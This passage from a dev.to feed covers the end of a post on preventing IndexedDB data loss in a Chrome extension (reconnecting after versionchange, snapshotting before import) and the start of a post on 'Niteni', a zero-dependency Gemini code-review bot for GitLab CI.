&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;estimate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;estimate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Using &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;estimate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;usage&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; of &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;estimate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;quota&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; bytes`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Root Cause #2: Service Worker Restarts Can Abort In-Flight Writes
&lt;/h2&gt;

&lt;p&gt;Chrome terminates idle service workers after about 30 seconds of inactivity and restarts them on demand. When a restart happens while a database write is in progress, the write can be lost.&lt;/p&gt;

&lt;h3&gt;
  
  
  How this works in practice
&lt;/h3&gt;

&lt;p&gt;When a new service worker instance starts up, it opens a new connection to IndexedDB. If your existing page (say, a DevTools panel) already has an open connection, the browser fires a &lt;code&gt;versionchange&lt;/code&gt; event on the old connection. The standard pattern for handling this is to close the old connection immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;versionchange&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Let the upgrade proceed&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is correct, but it's incomplete. After &lt;code&gt;close()&lt;/code&gt; is called, any subsequent operations on that &lt;code&gt;db&lt;/code&gt; instance will fail with a "Database is closing" or "Connection is closing" error. Your Zustand store might have already applied an optimistic UI update, but the actual DB write never completed. On the next page load, the data isn't there.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;Reopen the connection after closing it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;versionchange&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Failed to reopen DB after version change:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ensures the connection is restored automatically after the upgrade completes, without requiring a full page reload.&lt;/p&gt;




&lt;h2&gt;
  
  
  Root Cause #3: "Clear Then Import" Leaves You With Nothing on Failure
&lt;/h2&gt;

&lt;p&gt;This one is a logic trap that's easy to fall into. If you implement a backup/restore feature, you probably wrote something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;transaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rw&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...],&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Step 1: Wipe everything&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="c1"&gt;// ...&lt;/span&gt;

  &lt;span class="c1"&gt;// Step 2: Import new data&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bulkAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bulkAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// ← what if this throws?&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's all in a transaction, so if &lt;code&gt;bulkAdd&lt;/code&gt; throws, the transaction rolls back, right?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Yes, but you still end up with an empty database.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A transaction rollback undoes every operation in the transaction, including the &lt;code&gt;clear()&lt;/code&gt; calls. So technically the data is restored. But if the rollback itself fails (e.g., a connection drops mid-rollback, or the browser crashes), or if your error handling logic doesn't expect the rollback path, the user sees an empty app.&lt;/p&gt;

&lt;p&gt;More critically: if you're using Dexie and the &lt;code&gt;bulkAdd&lt;/code&gt; encounters a constraint error with default options, it may reject with a partial write, some records added, some not, and the rollback may not be as clean as you expect depending on the error type.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;Take a snapshot &lt;strong&gt;before&lt;/strong&gt; you clear anything, and use it as an explicit fallback:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;snapshot&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;exportAllData&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// capture current state&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;transaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rw&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;tables&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bulkAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bulkAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Import failed, restore the snapshot explicitly&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;transaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rw&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;tables&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bulkAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;snapshot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projects&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bulkAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;snapshot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mocks&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// re-throw so the UI can show an error message&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is more verbose but the intent is explicit: if the import fails, the user's previous data is unconditionally restored.&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Issue&lt;/th&gt;
&lt;th&gt;Why It Happens&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Full database eviction&lt;/td&gt;
&lt;td&gt;Unbounded storage growth hits browser quota&lt;/td&gt;
&lt;td&gt;Size-cap logged data; request persistent storage; use &lt;code&gt;unlimitedStorage&lt;/code&gt; in extensions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lost writes on reconnect&lt;/td&gt;
&lt;td&gt;Service worker restart closes DB connection mid-write&lt;/td&gt;
&lt;td&gt;Reopen DB automatically after &lt;code&gt;versionchange&lt;/code&gt; close&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Empty DB on import failure&lt;/td&gt;
&lt;td&gt;Transaction rollback isn't always reliable as a recovery strategy&lt;/td&gt;
&lt;td&gt;Snapshot before clearing, restore explicitly in catch block&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  The Bigger Lesson
&lt;/h2&gt;

&lt;p&gt;IndexedDB is the closest thing to a real database that the browser gives you, but it doesn't behave like one in a few important ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No durability guarantee under quota pressure&lt;/strong&gt;, the browser can reclaim storage without asking.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connection lifecycle is tied to page/worker lifecycle&lt;/strong&gt;, disconnections can happen at any time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transactions are atomic but not indestructible&lt;/strong&gt;, network/browser crashes can interrupt them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your app uses IndexedDB to store data that users care about, treat it like you would any database: monitor usage, cap growth, handle reconnection, and always have a recovery path on destructive operations.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This post is based on a real debugging session on &lt;a href="https://mockstudio.app" rel="noopener noreferrer"&gt;Mock Studio&lt;/a&gt;, a Chrome extension for mocking HTTP APIs. The fixes described here are live in production.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>ai</category>
      <category>programming</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Built an open-source AI code review bot for GitLab using Gemini. Zero runtime dependencies, inline diff comments, and one-click suggestion buttons. Here's every gotcha I hit along the way!</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Sun, 15 Feb 2026 16:16:12 +0000</pubDate>
      <link>https://dev.to/denyherianto/built-an-open-source-ai-code-review-bot-for-gitlab-using-gemini-zero-runtime-dependencies-inline-215e</link>
      <guid>https://dev.to/denyherianto/built-an-open-source-ai-code-review-bot-for-gitlab-using-gemini-zero-runtime-dependencies-inline-215e</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/denyherianto/building-niteni-gemini-code-review-bot-for-gitlab-with-zero-dependencies-30fn" class="crayons-story__hidden-navigation-link"&gt;Building "Niteni": Gemini Code Review Bot for GitLab with Zero Dependencies&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/denyherianto" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3594171%2F0292dc09-fdee-4d02-a50f-b25342a2e983.jpeg" alt="denyherianto profile" class="crayons-avatar__image" width="400" height="400"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/denyherianto" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Deny Herianto
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Deny Herianto
                
              
              &lt;div id="story-author-preview-content-3257895" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/denyherianto" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3594171%2F0292dc09-fdee-4d02-a50f-b25342a2e983.jpeg" class="crayons-avatar__image" alt="" width="400" height="400"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Deny Herianto&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/denyherianto/building-niteni-gemini-code-review-bot-for-gitlab-with-zero-dependencies-30fn" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Feb 15&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/denyherianto/building-niteni-gemini-code-review-bot-for-gitlab-with-zero-dependencies-30fn" id="article-link-3257895"&gt;
          Building "Niteni": Gemini Code Review Bot for GitLab with Zero Dependencies
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/denyherianto/building-niteni-gemini-code-review-bot-for-gitlab-with-zero-dependencies-30fn" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/raised-hands-74b2099fd66a39f2d7eed9305ee0f4553df0eb7b4f11b01b6b1b499973048fe5.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/exploding-head-daceb38d627e6ae9b730f36a1e390fca556a4289d5a41abb2c35068ad3e2c4b5.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;4&lt;span class="hidden s:inline"&gt; reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/denyherianto/building-niteni-gemini-code-review-bot-for-gitlab-with-zero-dependencies-30fn#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              &lt;span class="hidden s:inline"&gt;Add Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            6 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>ai</category>
      <category>gemini</category>
      <category>opensource</category>
      <category>showdev</category>
    </item>
    <item>
      <title>Building "Niteni": Gemini Code Review Bot for GitLab with Zero Dependencies</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Sun, 15 Feb 2026 14:48:03 +0000</pubDate>
      <link>https://dev.to/denyherianto/building-niteni-gemini-code-review-bot-for-gitlab-with-zero-dependencies-30fn</link>
      <guid>https://dev.to/denyherianto/building-niteni-gemini-code-review-bot-for-gitlab-with-zero-dependencies-30fn</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Niteni&lt;/em&gt;&lt;/strong&gt;, &lt;em&gt;Javanese&lt;/em&gt; for "to observe carefully." That's what this tool does: it watches your merge requests and tells you what you missed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I built &lt;strong&gt;Niteni&lt;/strong&gt; to solve a simple problem: I wanted automated, inline code review comments on GitLab merge requests, powered by Google's Gemini, without pulling in half of npm. Here's how it went and the surprising number of things that bit me along the way.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Idea
&lt;/h2&gt;

&lt;p&gt;GitLab's CI/CD pipelines are powerful, but there's no built-in AI review feature available on the Free tier like GitHub Copilot Reviews. I wanted something that would:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run inside a standard GitLab CI job&lt;/li&gt;
&lt;li&gt;Post findings as &lt;strong&gt;inline diff comments&lt;/strong&gt; (not a wall-of-text MR note)&lt;/li&gt;
&lt;li&gt;Provide one-click "Apply suggestion" buttons&lt;/li&gt;
&lt;li&gt;Work without any runtime dependencies beyond Node.js itself&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That last point was a deliberate constraint. CI environments are ephemeral. Every &lt;code&gt;npm install&lt;/code&gt; in a pipeline is wasted time and a potential point of failure. So Niteni uses only Node.js built-ins: &lt;code&gt;https&lt;/code&gt;, &lt;code&gt;child_process&lt;/code&gt;, &lt;code&gt;fs&lt;/code&gt;, &lt;code&gt;path&lt;/code&gt;, &lt;code&gt;os&lt;/code&gt;, and &lt;code&gt;url&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Architecture: Direct API Call
&lt;/h2&gt;

&lt;p&gt;Early prototypes tried a cascading strategy — Gemini CLI &lt;code&gt;/code-review&lt;/code&gt; extension first, then CLI direct prompt, then REST API. But the CLI approaches proved unreliable in CI: Gemini CLI restricts its tool set in non-interactive mode, so the &lt;code&gt;/code-review&lt;/code&gt; extension can't even run &lt;code&gt;git diff&lt;/code&gt;. No amount of Docker image changes fixes this — it's a fundamental limitation of non-TTY environments.&lt;/p&gt;

&lt;p&gt;The solution was simpler: &lt;strong&gt;just call the API directly.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;review&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diffContent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
